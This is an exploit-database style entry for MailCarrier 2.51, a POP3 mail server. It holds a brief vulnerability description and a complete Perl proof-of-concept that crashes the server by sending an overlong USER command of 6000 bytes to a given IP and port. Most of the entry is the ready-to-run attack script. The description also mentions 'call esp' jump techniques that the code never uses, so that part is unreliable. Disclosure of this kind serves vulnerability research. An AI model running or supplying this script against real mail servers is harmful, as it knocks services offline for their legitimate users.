MailCarrier 2.51 Denial Of Service

#!/usr/bin/perluse IO::Socket::INET# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 16 january 2024# Tested Version: MailCarrier 2.51# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2. Proof of Concept - PoC    $sis="$^O";    if ($sis eq "windows"){      $cmd="cls";    } else {      $cmd="clear";    }    system("$cmd");        intro();    main();        print "[+] Exploiting... \n";    my $buf  = "\x41" x 6000;    my $s = IO::Socket::INET->new(        PeerAddr => $ip,        PeerPort => $port,        Proto    => 'tcp'    ) or die "Unable to connect: $!\n";    $s->recv(my $data, 1024);    # Grab banners (if any)    $s->send('USER ' . $buf . "\r\n");    $s->recv(my $response, 1024);    $s->send("QUIT\r\n");    $s->close();    print "[+] Done - Exploited success!!!!!\n\n";     sub intro {      print q {                              ,--,                       _ ___/ /\|                   ,;'( )__, )  ~                  //  //   '--;                   '   \     | ^                       ^    ^      [+] MailCarrier 2.51 - Denial of Service (DoS)      [*] Coded by Fernando Mengali      [@] e-mail: [email protected]      }  }  sub main {our ($ip, $port) = @ARGV;      unless (defined($ip) && defined($port)) {        print "       \nUsage: $0 <ip> <port>                 \n";        exit(-1);      }  }#3. Solution/ How to fix:# This version product is deprecated